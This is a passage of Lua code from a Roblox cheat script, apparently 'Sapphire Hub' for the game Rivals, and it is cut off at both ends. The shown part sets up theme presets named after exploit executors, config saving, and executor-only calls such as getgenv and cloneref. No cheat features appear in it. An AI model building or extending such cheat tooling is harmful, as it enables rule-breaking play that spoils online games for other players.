httpService:JSONDecode('{"FontColor":"ffffff","MainColor":"141d26","AccentColor":"a5f2f3","SelectedTabColor":"0d1319","BackgroundColor":"141d26","OutlineColor":"243447","GradientColor":"3f9ea0"}') }, ['dracula'] = { 33, httpService:JSONDecode('{"FontColor":"f8f8f2","MainColor":"282a36","AccentColor":"bd93f9","SelectedTabColor":"1e1f29","BackgroundColor":"282a36","OutlineColor":"44475a","GradientColor":"6272a4"}') }, ['coffee.bean'] = { 34, httpService:JSONDecode('{"FontColor":"f5ebe0","MainColor":"221510","AccentColor":"d4a373","SelectedTabColor":"150d0a","BackgroundColor":"221510","OutlineColor":"3d251c","GradientColor":"855a30"}') }, ['vanta.black'] = { 35, httpService:JSONDecode('{"FontColor":"ffffff","MainColor":"0a0a0a","AccentColor":"ff3333","SelectedTabColor":"050505","BackgroundColor":"0a0a0a","OutlineColor":"141414","GradientColor":"3a0000"}') }, ['matrix.moe'] = { 36, httpService:JSONDecode('{"FontColor":"00ff00","MainColor":"0d100d","AccentColor":"15ff00","SelectedTabColor":"070907","BackgroundColor":"0d100d","OutlineColor":"1a211a","GradientColor":"053d00"}') }, ['vector.pub'] = { 37, httpService:JSONDecode('{"FontColor":"ffffff","MainColor":"121216","AccentColor":"ff4500","SelectedTabColor":"0a0a0d","BackgroundColor":"121216","OutlineColor":"22222b","GradientColor":"571700"}') }, ['initiate.win'] = { 38, httpService:JSONDecode('{"FontColor":"e2ebe7","MainColor":"1c1e1d","AccentColor":"00ffcc","SelectedTabColor":"131514","BackgroundColor":"1c1e1d","OutlineColor":"2b2f2d","GradientColor":"005443"}') }, ['exodus.private'] = { 39, httpService:JSONDecode('{"FontColor":"fbf7f0","MainColor":"131417","AccentColor":"d4af37","SelectedTabColor":"0c0d0f","BackgroundColor":"131417","OutlineColor":"24262c","GradientColor":"52410f"}') }, ['cryptic.xyz'] = { 40, httpService:JSONDecode('{"FontColor":"f3e5f5","MainColor":"0d001a","AccentColor":"9933ff","SelectedTabColor":"06000d","BackgroundColor":"0d001a","OutlineColor":"1f003d","GradientColor":"400080"}') }, ['plague.cc'] = { 41, httpService:JSONDecode('{"FontColor":"eef7ee","MainColor":"111c11","AccentColor":"76ff03","SelectedTabColor":"0b120b","BackgroundColor":"111c11","OutlineColor":"223822","GradientColor":"255400"}') }, ['quantum.tech'] = { 42, httpService:JSONDecode('{"FontColor":"e0f7fa","MainColor":"121824","AccentColor":"00e5ff","SelectedTabColor":"0b0f17","BackgroundColor":"121824","OutlineColor":"222e45","GradientColor":"004d61"}') }, ['nemesis.technology'] = { 43, httpService:JSONDecode('{"FontColor":"ffffff","MainColor":"151515","AccentColor":"ff2222","SelectedTabColor":"0e0e0e","BackgroundColor":"151515","OutlineColor":"282828","GradientColor":"4c0000"}') }, ['lethality.io'] = { 44, httpService:JSONDecode('{"FontColor":"fff3e0","MainColor":"140e0b","AccentColor":"ff9100","SelectedTabColor":"0c0806","BackgroundColor":"140e0b","OutlineColor":"2b1e18","GradientColor":"613700"}') }, ['synapse.x'] = { 45, httpService:JSONDecode('{"FontColor":"f3e8f5","MainColor":"1d1a24","AccentColor":"af52de","SelectedTabColor":"131118","BackgroundColor":"1d1a24","OutlineColor":"342f40","GradientColor":"4e1f6b"}') }, ['krnl.place'] = { 46, httpService:JSONDecode('{"FontColor":"fffde7","MainColor":"1a1a15","AccentColor":"ffd600","SelectedTabColor":"11110e","BackgroundColor":"1a1a15","OutlineColor":"2e2e25","GradientColor":"6b5a00"}') }, ['fluxus.net'] = { 47, httpService:JSONDecode('{"FontColor":"fcebf5","MainColor":"141224","AccentColor":"ff2a85","SelectedTabColor":"0c0b16","BackgroundColor":"141224","OutlineColor":"282447","GradientColor":"6e0d37"}') }, ['electron.vip'] = { 48, httpService:JSONDecode('{"FontColor":"e0f2f1","MainColor":"191d20","AccentColor":"00bfa5","SelectedTabColor":"101315","BackgroundColor":"191d20","OutlineColor":"2f383e","GradientColor":"005448"}') }, ['oxygen.u'] = { 49, httpService:JSONDecode('{"FontColor":"e1f5fe","MainColor":"161e2b","AccentColor":"00b0ff","SelectedTabColor":"0e131b","BackgroundColor":"161e2b","OutlineColor":"2b3a52","GradientColor":"004463"}') }, ['nihon.tech'] = { 50, httpService:JSONDecode('{"FontColor":"ffffff","MainColor":"191617","AccentColor":"e0115f","SelectedTabColor":"100e0f","BackgroundColor":"191617","OutlineColor":"302b2d","GradientColor":"5c0022"}') }, ['sirhurt.net'] = { 51, httpService:JSONDecode('{"FontColor":"fdfaf2","MainColor":"241e17","AccentColor":"f1a80a","SelectedTabColor":"17130e","BackgroundColor":"241e17","OutlineColor":"3f3529","GradientColor":"6b4700"}') }, ['sentinel.rip'] = { 52, httpService:JSONDecode('{"FontColor":"ffffff","MainColor":"1c1b1c","AccentColor":"cf142b","SelectedTabColor":"121112","BackgroundColor":"1c1b1c","OutlineColor":"363436","GradientColor":"59040d"}') }, ['wearedevs.net'] = { 53, httpService:JSONDecode('{"FontColor":"e0f7fa","MainColor":"1b1e22","AccentColor":"00bcd4","SelectedTabColor":"111315","BackgroundColor":"1b1e22","OutlineColor":"2f353d","GradientColor":"004d57"}') }, ['jjsploit.v5'] = { 54, httpService:JSONDecode('{"FontColor":"f5eefe","MainColor":"1c1626","AccentColor":"9026ff","SelectedTabColor":"120e19","BackgroundColor":"1c1626","OutlineColor":"302642","GradientColor":"3b0870"}') }, ['valkyrie.vip'] = { 55, httpService:JSONDecode('{"FontColor":"faf8f5","MainColor":"1b1d22","AccentColor":"d1a153","SelectedTabColor":"111215","BackgroundColor":"1b1d22","OutlineColor":"2d303a","GradientColor":"5e451d"}') }, ['zeus.cheat'] = { 56, httpService:JSONDecode('{"FontColor":"f8f3fc","MainColor":"131017","AccentColor":"a020f0","SelectedTabColor":"0c0a0e","BackgroundColor":"131017","OutlineColor":"251f2d","GradientColor":"400c61"}') }, ['hydra.win'] = { 57, httpService:JSONDecode('{"FontColor":"e8f4fc","MainColor":"0e141c","AccentColor":"1d8cf8","SelectedTabColor":"090d12","BackgroundColor":"0e141c","OutlineColor":"1b2737","GradientColor":"093761"}') }, ['phoenix.cc'] = { 58, httpService:JSONDecode('{"FontColor":"fff5eb","MainColor":"241612","AccentColor":"ff5500","SelectedTabColor":"160d0b","BackgroundColor":"241612","OutlineColor":"402720","GradientColor":"732100"}') }, ['omega.pub'] = { 59, httpService:JSONDecode('{"FontColor":"ffffff","MainColor":"101010","AccentColor":"ffcc00","SelectedTabColor":"0a0a0a","BackgroundColor":"101010","OutlineColor":"222222","GradientColor":"614e00"}') }, ['alpha.club'] = { 60, httpService:JSONDecode('{"FontColor":"e0ffff","MainColor":"151b24","AccentColor":"00ffff","SelectedTabColor":"0d1117","BackgroundColor":"151b24","OutlineColor":"263142","GradientColor":"004d4d"}') }, ['beta.win'] = { 61, httpService:JSONDecode('{"FontColor":"fff0f5","MainColor":"1c1619","AccentColor":"ff1493","SelectedTabColor":"120e10","BackgroundColor":"1c1619","OutlineColor":"362a30","GradientColor":"73003c"}') }, ['nebula.cc'] = { 62, httpService:JSONDecode('{"FontColor":"e8eaf6","MainColor":"151728","AccentColor":"7c4dff","SelectedTabColor":"0d0e19","BackgroundColor":"151728","OutlineColor":"2c3054","GradientColor":"311b92"}') }, ['eclipse.dev'] = { 63, httpService:JSONDecode('{"FontColor":"ffebee","MainColor":"1c1a1a","AccentColor":"ff3d00","SelectedTabColor":"121111","BackgroundColor":"1c1a1a","OutlineColor":"363232","GradientColor":"731a00"}') }, ['aurora.win'] = { 64, httpService:JSONDecode('{"FontColor":"e8f5e9","MainColor":"11221a","AccentColor":"00e676","SelectedTabColor":"0b1611","BackgroundColor":"11221a","OutlineColor":"224434","GradientColor":"005427"}') }, ['FourHub'] = { 65, httpService:JSONDecode('{"FontColor":"e0d4d6","MainColor":"121212","AccentColor":"001EFF","SelectedTabColor":"0a0a0a","BackgroundColor":"0a0a0a","OutlineColor":"000000","GradientColor":"6b3038"}') }, }; function ThemeManager:ApplyTheme(theme) local customThemeData = self:GetCustomTheme(theme); local data = customThemeData or self.BuiltInThemes[theme]; if not data then return end; local scheme = data[2]; for idx, col in next, customThemeData or scheme do if idx == 'ShadowColor' then self.Library.ShadowColor = Color3.fromHex(col); else self.Library[idx] = Color3.fromHex(col); end; if Options[idx] then if Options[idx].Type == 'ColorPicker' then Options[idx]:SetValueRGB(Color3.fromHex(col)); end; end; end; if Options.ShadowColor then self.Library.ShadowColor = Options.ShadowColor.Value; end; if Options.ShadowSize then self.Library.ShadowSize = Options.ShadowSize.Value; end; if Options.ShadowOffset then self.Library.ShadowOffset = Options.ShadowOffset.Value; end; self:ThemeUpdate(); end; function ThemeManager:ThemeUpdate() local options = { "FontColor", "MainColor", "AccentColor", "SelectedTabColor", "BackgroundColor", "OutlineColor", "GradientColor" }; for i, field in next, options do if Options and Options[field] then self.Library[field] = Options[field].Value; end; end; if Options and Options.ShadowColor then self.Library.ShadowColor = Options.ShadowColor.Value; end; if Options and Options.ShadowSize then self.Library.ShadowSize = Options.ShadowSize.Value; end; if Options and Options.ShadowOffset then self.Library.ShadowOffset = Options.ShadowOffset.Value; end; self.Library.AccentColorDark = self.Library:GetDarkerColor(self.Library.AccentColor); self.Library.AccentColorLight = self.Library:GetLighterColor(self.Library.AccentColor); self.Library:UpdateColorsUsingRegistry(); end; function ThemeManager:LoadDefault() local theme = self.DefaultTheme or 'FourHub'; local content = isfile(self.Folder .. '/themes/default.txt') and readfile(self.Folder .. '/themes/default.txt'); if content then if self.BuiltInThemes[content] then theme = content; elseif self:GetCustomTheme(content) then theme = content; end; end; self:ApplyTheme(theme); if Options.ThemeManager_ThemeList then Options.ThemeManager_ThemeList:SetValue(theme); end; end; function ThemeManager:SaveDefault(theme) writefile(self.Folder .. '/themes/default.txt', theme); end; function ThemeManager:CreateAppearanceManager(groupbox, skipLoadDefault) groupbox:AddLabel('Accent Color'):AddColorPicker('AccentColor', { Default = self.Library.AccentColor }); groupbox:AddToggle('MenuBlurToggle', { Text = 'Menu Blur', Default = false, Callback = function(Value) self.Library:UpdateMenuBlur(); end, }); groupbox:AddToggle('OverlayGlowToggle', { Text = 'Overlay glow', Default = self.Library.OverlayGlowEnabled, Callback = function(Value) self.Library:SetOverlayGlowEnabled(Value); end, }); groupbox:AddLabel('Glow color'):AddColorPicker('OverlayGlowColor', { Default = self.Library.OverlayGlowColor, }); groupbox:AddToggle('WatermarkToggle', { Text = 'Watermark', Default = false, Callback = function(Value) self.Library:SetWatermarkVisibility(Value); end, }); groupbox:AddToggle('KeybindListToggle', { Text = 'Keybind list', Default = true, Callback = function(Value) if self.Library.KeybindOverlay then self.Library.KeybindOverlay:SetVisible(Value); end; end, }); groupbox:AddToggle('AnonymousModeToggle', { Text = 'Anonymous mode', Default = false, Callback = function(Value) self.Library.AnonymousMode = Value; self.Library:UpdateFooter(); end, }); groupbox:AddLabel('Menu bind'):AddKeyPicker('MenuKeybind', { Default = 'RightShift', Text = 'Menu bind', Mode = 'Toggle', NoUI = true, }); if Options.MenuKeybind then self.Library.ToggleKeybind = Options.MenuKeybind; self.Library.MenuBindPickers = self.Library.MenuBindPickers or {}; table.insert(self.Library.MenuBindPickers, Options.MenuKeybind); end; local ThemesArray = {}; for Name, Theme in next, self.BuiltInThemes do table.insert(ThemesArray, Name); end; table.sort(ThemesArray, function(a, b) return self.BuiltInThemes[a][1] < self.BuiltInThemes[b][1] end); groupbox:AddDropdown('ThemeManager_ThemeList', { Text = 'Presets', Values = ThemesArray, Default = 'FourHub' }); Options.ThemeManager_ThemeList:OnChanged(function() self:ApplyTheme(Options.ThemeManager_ThemeList.Value); end); local fontNames = self.Library:GetUIFontNames(); groupbox:AddDropdown('ThemeManager_UIFont', { Text = 'UI font', Values = fontNames, Default = self.Library.CurrentUIFont or 'Builder Sans ExtraBold', }); Options.ThemeManager_UIFont:OnChanged(function() self.Library:SetUIFont(Options.ThemeManager_UIFont.Value); end); if Options.OverlayGlowColor then Options.OverlayGlowColor:OnChanged(function() self.Library:SetOverlayGlowColor(Options.OverlayGlowColor.Value); end); end; if not skipLoadDefault then ThemeManager:LoadDefault(); end; local function UpdateTheme() self:ThemeUpdate(); end; Options.AccentColor:OnChanged(UpdateTheme); end; function ThemeManager:CreateThemeManager(groupbox) groupbox:AddDivider(); groupbox:AddLabel('Background color'):AddColorPicker('BackgroundColor', { Default = self.Library.BackgroundColor }); groupbox:AddLabel('Main color') :AddColorPicker('MainColor', { Default = self.Library.MainColor }); groupbox:AddLabel('Accent color'):AddColorPicker('AccentColor', { Default = self.Library.AccentColor }); groupbox:AddLabel('Selected tab color'):AddColorPicker('SelectedTabColor', { Default = self.Library.SelectedTabColor }); groupbox:AddLabel('Outline color'):AddColorPicker('OutlineColor', { Default = self.Library.OutlineColor }); groupbox:AddLabel('Font color') :AddColorPicker('FontColor', { Default = self.Library.FontColor }); groupbox:AddLabel('Gradient color'):AddColorPicker('GradientColor', { Default = self.Library.GradientColor }); local ThemesArray = {}; for Name, Theme in next, self.BuiltInThemes do table.insert(ThemesArray, Name); end; table.sort(ThemesArray, function(a, b) return self.BuiltInThemes[a][1] < self.BuiltInThemes[b][1] end); groupbox:AddDivider(); groupbox:AddDropdown('ThemeManager_ThemeList', { Text = 'Theme list', Values = ThemesArray, Default = 'Default' }); groupbox:AddButton('Set as default', function() self:SaveDefault(Options.ThemeManager_ThemeList.Value); self.Library:Notify(string.format('Set default theme to %q', Options.ThemeManager_ThemeList.Value)); end):AddButton('Test notification', function() self.Library:Notify('This is a test notification!'); end); Options.ThemeManager_ThemeList:OnChanged(function() self:ApplyTheme(Options.ThemeManager_ThemeList.Value); end); groupbox:AddDivider(); groupbox:AddDropdown('ThemeManager_CustomThemeList', { Text = 'Custom themes', Values = self:ReloadCustomThemes(), AllowNull = true, Default = 1 }); groupbox:AddInput('ThemeManager_CustomThemeName', { Text = 'Custom theme name' }); groupbox:AddButton('Load theme', function() self:ApplyTheme(Options.ThemeManager_CustomThemeList.Value); end):AddButton('Save theme', function() self:SaveCustomTheme(Options.ThemeManager_CustomThemeName.Value); Options.ThemeManager_CustomThemeList.Values = self:ReloadCustomThemes(); Options.ThemeManager_CustomThemeList:SetValues(); Options.ThemeManager_CustomThemeList:SetValue(nil); end); groupbox:AddButton('Refresh list', function() Options.ThemeManager_CustomThemeList.Values = self:ReloadCustomThemes(); Options.ThemeManager_CustomThemeList:SetValues(); Options.ThemeManager_CustomThemeList:SetValue(nil); end); groupbox:AddButton('Set as default', function() if Options.ThemeManager_CustomThemeList.Value ~= nil and Options.ThemeManager_CustomThemeList.Value ~= '' then self:SaveDefault(Options.ThemeManager_CustomThemeList.Value); self.Library:Notify(string.format('Set default theme to %q', Options.ThemeManager_CustomThemeList.Value)); end; end); ThemeManager:LoadDefault(); local function UpdateTheme() self:ThemeUpdate(); end; Options.BackgroundColor:OnChanged(UpdateTheme); Options.MainColor:OnChanged(UpdateTheme); Options.AccentColor:OnChanged(UpdateTheme); Options.SelectedTabColor:OnChanged(UpdateTheme); Options.OutlineColor:OnChanged(UpdateTheme); Options.FontColor:OnChanged(UpdateTheme); Options.GradientColor:OnChanged(UpdateTheme); end; function ThemeManager:GetCustomTheme(file) local path = self.Folder .. '/themes/' .. file; if not isfile(path) then return nil; end; local data = readfile(path); local success, decoded = pcall(httpService.JSONDecode, httpService, data); if not success then return nil; end; return decoded; end; function ThemeManager:SaveCustomTheme(file) if file:gsub(' ', '') == '' then return self.Library:Notify('Invalid file name for theme (empty)', 3); end; local theme = {}; local fields = { "FontColor", "MainColor", "AccentColor", "BackgroundColor", "OutlineColor", "SelectedTabColor", "GradientColor" }; for _, field in next, fields do theme[field] = Options[field].Value:ToHex(); end; writefile(self.Folder .. '/themes/' .. file .. '.json', httpService:JSONEncode(theme)); end; function ThemeManager:ReloadCustomThemes() local list = listfiles(self.Folder .. '/themes'); local out = {}; for i = 1, #list do local file = list[i]; if file:sub(-5) == '.json' then local pos = file:find('.json', 1, true); local char = file:sub(pos, pos); while char ~= '/' and char ~= '\\' and char ~= '' do pos = pos - 1; char = file:sub(pos, pos); end; if char == '/' or char == '\\' then table.insert(out, file:sub(pos + 1)); end; end; end; return out; end; function ThemeManager:SetLibrary(lib) self.Library = lib; end; function ThemeManager:BuildFolderTree() local paths = {}; local parts = self.Folder:split('/'); for idx = 1, #parts do paths[#paths + 1] = table.concat(parts, '/', 1, idx); end; table.insert(paths, self.Folder .. '/themes'); table.insert(paths, self.Folder .. '/settings'); for i = 1, #paths do local str = paths[i]; if not isfolder(str) then makefolder(str); end; end; end; function ThemeManager:SetFolder(folder) self.Folder = folder; self:BuildFolderTree(); end; function ThemeManager:CreateGroupBox(tab) assert(self.Library, 'Must set ThemeManager.Library first!'); return tab:AddLeftGroupbox('Themes'); end; function ThemeManager:BuildAppearanceOverlay(Config) assert(self.Library, 'Must set ThemeManager.Library first!'); Config = Config or {}; local Overlay = self.Library:CreateOverlayWindow({ Title = 'Appearance', AccentPart = 'ance', Size = UDim2.fromOffset(228, 72), Position = Config.Position or UDim2.fromOffset(700, 80), Visible = Config.Visible, ZIndex = Config.ZIndex or 165, }); local Groupbox = Overlay:AddGroupbox({ Name = 'Overlay & theme' }); self:CreateAppearanceManager(Groupbox, true); Groupbox:Resize(); Overlay:Resize(); self.AppearanceOverlay = Overlay; return Overlay; end; function ThemeManager:ApplyToTab(tab) assert(self.Library, 'Must set ThemeManager.Library first!'); local groupbox = self:CreateGroupBox(tab); self:CreateThemeManager(groupbox); end; function ThemeManager:ApplyToGroupbox(groupbox) assert(self.Library, 'Must set ThemeManager.Library first!'); self:CreateThemeManager(groupbox); end; ThemeManager:BuildFolderTree(); end; return ThemeManager; end)(); local SaveManager = (function() local httpService = game:GetService('HttpService'); local SaveManager = {}; SaveManager.Folder = 'FourHub/rivals'; SaveManager.Ignore = {}; SaveManager.Parser = { Toggle = { Save = function(idx, object) return { type = 'Toggle', idx = idx, value = object.Value }; end, Load = function(idx, data) local toggle = SaveManager.Library and SaveManager.Library.Toggles[idx]; if toggle then toggle:SetValue(data.value); end; end, }, Slider = { Save = function(idx, object) return { type = 'Slider', idx = idx, value = tostring(object.Value) }; end, Load = function(idx, data) local option = SaveManager.Library and SaveManager.Library.Options[idx]; if option then option:SetValue(data.value); end; end, }, Dropdown = { Save = function(idx, object) return { type = 'Dropdown', idx = idx, value = object.Value, multi = object.Multi }; end, Load = function(idx, data) local option = SaveManager.Library and SaveManager.Library.Options[idx]; if option then option:SetValue(data.value); end; end, }, ColorPicker = { Save = function(idx, object) return { type = 'ColorPicker', idx = idx, value = object.Value:ToHex(), transparency = object.Transparency }; end, Load = function(idx, data) local option = SaveManager.Library and SaveManager.Library.Options[idx]; if option then option:SetValueRGB(Color3.fromHex(data.value), data.transparency); end; end, }, KeyPicker = { Save = function(idx, object) return { type = 'KeyPicker', idx = idx, mode = object.Mode, key = object.Value }; end, Load = function(idx, data) local option = SaveManager.Library and SaveManager.Library.Options[idx]; if option then option:SetValue({ data.key, data.mode }); end; end, }, Input = { Save = function(idx, object) return { type = 'Input', idx = idx, text = object.Value }; end, Load = function(idx, data) local option = SaveManager.Library and SaveManager.Library.Options[idx]; if option and type(data.text) == 'string' then option:SetValue(data.text); end; end, }, }; function SaveManager:SetLibrary(library) self.Library = library; end; function SaveManager:SetIgnoreIndexes(list) for _, key in next, list do self.Ignore[key] = true; end; end; function SaveManager:IgnoreThemeSettings() self:SetIgnoreIndexes({ 'BackgroundColor', 'MainColor', 'AccentColor', 'OutlineColor', 'FontColor', 'GradientColor', 'OverlayGlowColor', 'ThemeManager_ThemeList', 'ThemeManager_CustomThemeList', 'ThemeManager_CustomThemeName', }); end; function SaveManager:SetFolder(folder) self.Folder = folder; self:BuildFolderTree(); end; function SaveManager:BuildFolderTree() local paths = {}; local parts = self.Folder:split('/'); for idx = 1, #parts do paths[#paths + 1] = table.concat(parts, '/', 1, idx); end; paths[#paths + 1] = self.Folder .. '/themes'; paths[#paths + 1] = self.Folder .. '/settings'; for i = 1, #paths do local str = paths[i]; if not isfolder(str) then pcall(makefolder, str); end; end; end; function SaveManager:Save(name) if not name or name == '' then return false, 'no config file is selected'; end; local fullPath = self.Folder .. '/settings/' .. name .. '.json'; local data = { objects = {} }; for idx, toggle in next, self.Library.Toggles do if self.Ignore[idx] or not self.Parser[toggle.Type] then continue; end; data.objects[#data.objects + 1] = self.Parser[toggle.Type].Save(idx, toggle); end; for idx, option in next, self.Library.Options do if self.Ignore[idx] or not self.Parser[option.Type] then continue; end; data.objects[#data.objects + 1] = self.Parser[option.Type].Save(idx, option); end; if self.Library.GetWindowSize then local x, y = self.Library:GetWindowSize(); data.ui_size = { x, y }; end do data.theme = {}; local themeKeys = { 'AccentColor', 'BackgroundColor', 'MainColor', 'OutlineColor', 'FontColor', 'SelectedTabColor', 'GradientColor' }; for _, k in next, themeKeys do local opt = self.Library.Options[k]; if opt and opt.Value then pcall(function() data.theme[k] = opt.Value:ToHex() end); end; end; if self.Library.Options.ThemeManager_ThemeList and self.Library.Options.ThemeManager_ThemeList.Value then data.theme.preset = self.Library.Options.ThemeManager_ThemeList.Value; end; end do data.widgets = {}; local ws = getgenv().FourHub_widgets; if type(ws) == 'table' then for wname, overlay in next, ws do if overlay and overlay.Outer then local p = overlay.Outer.Position; data.widgets[wname] = { p.X.Scale, p.X.Offset, p.Y.Scale, p.Y.Offset }; end; end; end; end; local success, encoded = pcall(httpService.JSONEncode, httpService, data); if not success then return false, 'failed to encode data'; end; local okWrite = pcall(writefile, fullPath, encoded); if not okWrite then return false, 'failed to write file'; end; return true; end; function SaveManager:Load(name) if not name or name == '' then return false, 'no config file is selected'; end; local file = self.Folder .. '/settings/' .. name .. '.json'; if not isfile(file) then return false, 'invalid file'; end; local success, decoded = pcall(httpService.JSONDecode, httpService, readfile(file)); if not success or type(decoded) ~= 'table' or type(decoded.objects) ~= 'table' then return false, 'decode error'; end; for _, option in next, decoded.objects do if type(option) == 'table' and option.type and self.Parser[option.type] then task.spawn(function() pcall(self.Parser[option.type].Load, option.idx, option); end); end; end; if type(decoded.ui_size) == 'table' and tonumber(decoded.ui_size[1]) and self.Library.SetWindowSize then pcall(function() self.Library:SetWindowSize(decoded.ui_size[1], decoded.ui_size[2]) end); end; if type(decoded.theme) == 'table' then local TM = getgenv().ThemeManager; if decoded.theme.preset and TM and TM.ApplyTheme then pcall(function() TM:ApplyTheme(decoded.theme.preset); if self.Library.Options.ThemeManager_ThemeList then self.Library.Options.ThemeManager_ThemeList:SetValue(decoded.theme.preset); end; end); end; for k, hex in next, decoded.theme do if k ~= 'preset' then local opt = self.Library.Options[k]; if opt and opt.SetValueRGB then pcall(function() opt:SetValueRGB(Color3.fromHex(hex)) end); end; end; end; end; if type(decoded.widgets) == 'table' then local ws = getgenv().FourHub_widgets; if type(ws) == 'table' then for wname, pos in next, decoded.widgets do local overlay = ws[wname]; if overlay and overlay.Outer and type(pos) == 'table' and #pos == 4 then pcall(function() overlay.Outer.Position = UDim2.new(pos[1], pos[2], pos[3], pos[4]) end); end; end; end; end; return true; end; function SaveManager:RefreshConfigList() local out = {}; local ok, list = pcall(listfiles, self.Folder .. '/settings'); if not ok or type(list) ~= 'table' then return out; end; for i = 1, #list do local file = list[i]; if file:sub(-5) == '.json' then local stripped = file:sub(1, -6); local name = stripped:match('([^/\\]+)$'); if name and name ~= '' then out[#out + 1] = name; end; end; end; return out; end; function SaveManager:LoadAutoloadConfig() if isfile(self.Folder .. '/settings/autoload.txt') then local name = readfile(self.Folder .. '/settings/autoload.txt'); if not name or name == '' then return end; local success, err = self:Load(name); if not success then if self.Library then self.Library:Notify('Failed to load autoload config: ' .. tostring(err)); end; return end; if self.Library then self.Library:Notify(string.format('Auto loaded config %q', name)); end; end; end; function SaveManager:BuildConfigSection(tab) assert(self.Library, 'Must set SaveManager.Library'); local section = tab:AddRightGroupbox('Configuration'); section:AddInput('SaveManager_ConfigName', { Text = 'Config name' }); section:AddDropdown('SaveManager_ConfigList', { Text = 'Config list', Values = self:RefreshConfigList(), AllowNull = true }); local function refreshList() SaveManager.Library.Options.SaveManager_ConfigList:SetValues(SaveManager:RefreshConfigList()); SaveManager.Library.Options.SaveManager_ConfigList:SetValue(nil); end; section:AddButton('Create config', function() local name = SaveManager.Library.Options.SaveManager_ConfigName.Value; if not name or name:gsub(' ', '') == '' then return SaveManager.Library:Notify('Invalid config name (empty)', 2); end; local success, err = SaveManager:Save(name); if not success then return SaveManager.Library:Notify('Failed to save config: ' .. tostring(err)); end; SaveManager.Library:Notify(string.format('Created config %q', name)); refreshList(); end); section:AddButton('Load config', function() local name = SaveManager.Library.Options.SaveManager_ConfigList.Value; local success, err = SaveManager:Load(name); if not success then return SaveManager.Library:Notify('Failed to load config: ' .. tostring(err)); end; SaveManager.Library:Notify(string.format('Loaded config %q', name)); end); section:AddButton('Overwrite config', function() local name = SaveManager.Library.Options.SaveManager_ConfigList.Value; local success, err = SaveManager:Save(name); if not success then return SaveManager.Library:Notify('Failed to overwrite config: ' .. tostring(err)); end; SaveManager.Library:Notify(string.format('Overwrote config %q', name)); end); section:AddButton('Delete config', function() local name = SaveManager.Library.Options.SaveManager_ConfigList.Value; if not name then return SaveManager.Library:Notify('No config selected', 2); end; pcall(delfile, SaveManager.Folder .. '/settings/' .. name .. '.json'); SaveManager.Library:Notify(string.format('Deleted config %q', name)); refreshList(); end); section:AddButton('Refresh list', refreshList); section:AddButton('Set as autoload', function() local name = SaveManager.Library.Options.SaveManager_ConfigList.Value; if not name then return SaveManager.Library:Notify('No config selected', 2); end; pcall(writefile, SaveManager.Folder .. '/settings/autoload.txt', name); SaveManager.AutoloadLabel:SetText('Current autoload config: ' .. name); SaveManager.Library:Notify(string.format('Set %q to auto load', name)); end); section:AddButton('Clear autoload', function() pcall(delfile, SaveManager.Folder .. '/settings/autoload.txt'); SaveManager.AutoloadLabel:SetText('Current autoload config: none'); SaveManager.Library:Notify('Cleared autoload'); end); SaveManager.AutoloadLabel = section:AddLabel('Current autoload config: none', true); if isfile(self.Folder .. '/settings/autoload.txt') then local name = readfile(self.Folder .. '/settings/autoload.txt'); if name and name ~= '' then SaveManager.AutoloadLabel:SetText('Current autoload config: ' .. name); end; end; SaveManager:SetIgnoreIndexes({ 'SaveManager_ConfigName', 'SaveManager_ConfigList' }); end; SaveManager:BuildFolderTree(); return SaveManager; end)(); local Trove = (function() local Trove = {}; Trove.__index = Trove; function Trove.new() return setmetatable({ _objects = {} }, Trove); end; function Trove:Add(object) self._objects[#self._objects + 1] = object; return object; end; function Trove:Destroy() local objects = self._objects; self._objects = {}; for i = #objects, 1, -1 do local object = objects[i]; local objectType = typeof(object); pcall(function() if objectType == 'RBXScriptConnection' then object:Disconnect(); elseif objectType == 'Instance' then object:Destroy(); elseif objectType == 'thread' then task.cancel(object); elseif objectType == 'function' then object(); elseif objectType == 'table' then if object.Destroy then object:Destroy(); elseif object.Disconnect then object:Disconnect(); end; end; end); end; end; Trove.Clean = Trove.Destroy; return Trove; end)(); if not (type(Library) == "table" and Library.Options) then Library = getgenv().Library or Library; end; getgenv().Library = Library; local Options = Library.Options; local Toggles = Library.Toggles; getgenv().silent_load = getgenv().silent_load or false; getgenv().auto_load_enable = getgenv().auto_load_enable or false; local Window = Library:CreateWindow({ Title = 'Sapphire Hub - Vairo Scripts', AutoShow = false, BackgroundImage = "", SubTitle = "Rivals", Center = true, Resizable = true, Draggable = true, Size = ((game:GetService('UserInputService').TouchEnabled and not game:GetService('UserInputService').MouseEnabled) and UDim2.fromOffset(396, 336)) or UDim2.fromOffset(740, 660), }); if GLOBAL_TROVE then pcall(function() GLOBAL_TROVE:Destroy(); end); end; local trove = Trove.new(); getgenv().GLOBAL_TROVE = trove; Library:OnUnload(function() pcall(function() GLOBAL_TROVE:Destroy(); end); getgenv().FourHub_loaded = false; getgenv().Library.Unloaded = true; getgenv().Library = nil; end); local font_indexes = {"ProggyClean", "Tahoma", "Verdana", "SmallestPixel", "ProggyTiny", "Minecraftia", "Tahoma Bold"}; local font_files = { ["ProggyClean"] = "ProggyClean.ttf", ["Tahoma"] = "fs-tahoma-8px.ttf", ["Verdana"] = "Verdana-Font.ttf", ["SmallestPixel"] = "smallest_pixel-7.ttf", ["ProggyTiny"] = "ProggyTiny.ttf", ["Minecraftia"] = "Minecraftia-Regular.ttf", ["Tahoma Bold"] = "tahoma_bold.ttf", }; getgenv().fonts = {}; local fonts = getgenv().fonts; task.spawn(function() for name, suffix in font_files do local ttf_path = "FourHub/rivals/fonts/" .. suffix; local font_path = "FourHub/rivals/fonts/" .. name .. ".font"; if not isfile(ttf_path) then local okFont, font_data = pcall(game.HttpGet, game, "https://github.com/i77lhm/storage/raw/refs/heads/main/fonts/" .. suffix); if okFont and type(font_data) == "string" and #font_data > 0 then writefile(ttf_path, font_data); else continue; end; end; local data = { name = name, faces = {{ name = "Normal", weight = 400, style = "Normal", assetId = getcustomasset(ttf_path), }}, }; writefile(font_path, game:GetService("HttpService"):JSONEncode(data)); fonts[name] = Font.new(getcustomasset(font_path), Enum.FontWeight.Regular, Enum.FontStyle.Normal); end; end); local replicated_storage = cloneref(game:GetService("ReplicatedStorage")); local players = cloneref(game:GetService("Players")); local run_service = cloneref(game:GetService('RunService')); local tween_service = cloneref(game:GetService('TweenService')); local uis = cloneref(game:GetService("UserInputService")); local http_service = cloneref(game:GetService("HttpService")); local core_gui = cloneref(game:GetService("CoreGui")); local lighting = cloneref(game:GetService("Lighting")); local gethui = gethui or get_hui or get_hidden_gui or function() return core_gui; end; local local_player = players.LocalPlayer; local camera = workspace.CurrentCamera; local mouse = cloneref(local_player:GetMouse()); local modules = replicated_storage.Modules; local first_person = 